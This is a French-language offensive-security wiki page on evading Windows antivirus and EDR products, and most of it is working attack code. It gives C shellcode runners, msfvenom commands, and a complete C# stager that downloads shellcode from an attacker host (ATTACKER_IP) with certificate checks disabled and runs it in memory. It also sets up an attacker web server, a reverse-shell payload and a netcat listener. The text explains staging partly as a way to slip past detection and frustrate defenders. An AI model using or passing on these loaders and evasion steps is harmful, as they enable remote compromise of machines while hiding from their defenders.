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[Windows] Antivirus/EDR Evasion

Introduction

Cette page décrit les techniques que l'on peut utiliser pour échapper à la détection antivirale d'une solution de type EDR ou d'un antivirus traditionnel sur des systèmes Windows.

image.png

Techniques

Extraire le shellcode de la section .text

À partir d'un programme, vous pouvez en extraire le shellcode de sa section .text grâce à la commande suivante :

objcopy -j .text -O binary <INPUT_BINARY> <OUTPUT_BINARY>

On peut afficher son contenu au format C avec la commande xxd :

xxd -i <BINARY>

Injection de shellcode dans un programme C

#include <stdio.h>

int main(int argc, char **argv) {
    unsigned char message[] = {
        0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
        0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
        0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
        0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
        0x0d, 0x0a
    };
    
    (*(void(*)())message)();
    return 0;
}

Remplacez le shellcode actuel par le vôtre.

Puis compilez-le :

gcc -g -Wall -z execstack <CODE>.c -o <OUTPUT>

Génération de shellcode avec Metasploit

L'outil msfvenom du framework Metasploit, vous permet de générer des shellcodes :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c

Le shellcode lancera une calculatrice dans cet exemple.

Vous pouvez créer un programme pour Windows qui va injecter le shellcode :

#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
        DWORD oldProtect;
        VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
        int (*shellcode)() = (int(*)())(void*)stager;
        shellcode();
}

Puis compilez-le :

i686-w64-mingw32-gcc calc.c -o calc-MSF.exe

Vous pouvez aussi générer des fichiers binaires en .bin plutôt que de créer des exécutables avec msfvenom :

msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin

Vous pouvez utiliser la commande xxd -i sur le fichier généré pour créer un shellcode au format C.

Stage vs Stageless payloads

Un payload stageless va directement exécuter le programme malveillant : 

image.png

Alors qu'un payload stage va exécuter un ou plusieurs stages qui vont récupérer le shellcode sur le serveur distant, l'injecter dans la mémoire puis potentiellement l'exécuter :

image.png

image.png

 

Voici les avantages du StageLess :

  • Toute la charge utile dont le shellcode est inclue dans le programme.
  • Le payload s'exécute sans effectuer de requête supplémentaire vers le réseau (ce qui pourrait être détecté par un IPS).
  • Si vous attaquez un hôte avec des accès réseaux très restreints, vous avez toute la charge utile inclue dans le même programme.

Et voici les avantages du Staged :

  • Les traces sur le disque sont réduites puisque le Stage0 est seulement en charge de récupérer le shellcode final. Il est aussi plus léger en espace disque.
  • Le shellcode final n'est pas caché dans le programme, ce qui rend l'analyse plus complexe pour la Blue Team pour comprendre le fonctionnement du shellcode final.
  • Le shellcode final est chargé uniquement dans la mémoire ce qui échappera à la détection de certains antivirus.
  • On peut réutiliser le même Stage0 pour plusieurs shellcodes finaux différents.

Pour générer un payload Staged avec msfvenom utilisez le payload suivant :

windows/x64/shell/reverse_tcp

Et pour du StageLess :

windows/x64/shell_reverse_tcp

Voici un programme C# Staged qui va récupérer un fichier binaire sur le serveur de l'attaquant puis il va l'exécuter dans un thread :

using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;

public class Program {
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 
  [DllImport("kernel32")]
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);

  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
  [DllImport("kernel32")]
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
  [DllImport("kernel32")]
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

  private static UInt32 MEM_COMMIT = 0x1000;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;

  public static void Main()
  {
    string url = "https://ATTACKER_IP/shellcode.bin";
    Stager(url);
  }

  public static void Stager(string url)
  {

    WebClient wc = new WebClient();
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

    byte[] shellcode = wc.DownloadData(url);

    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);

    IntPtr threadHandle = IntPtr.Zero;
    UInt32 threadId = 0;
    IntPtr parameter = IntPtr.Zero;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);

    WaitForSingleObject(threadHandle, 0xFFFFFFFF);

  }
}

Pensez à remplacer l'adresse IP du serveur de l'atttaquant dans la fonction Main.

Sur une machine Windows vous pouvez compiler le code :

csc staged-payload.cs

Puis sur le serveur de l'attaquant, vous pouvez monter un serveur web avec un certificat (peu importe la validité) :

openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"

Maintenant que le serveur web est prêt, il faut générer le shellcode :

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'

Puis lancez un serveur netcat en écoute :

nc -lvp 7474

 

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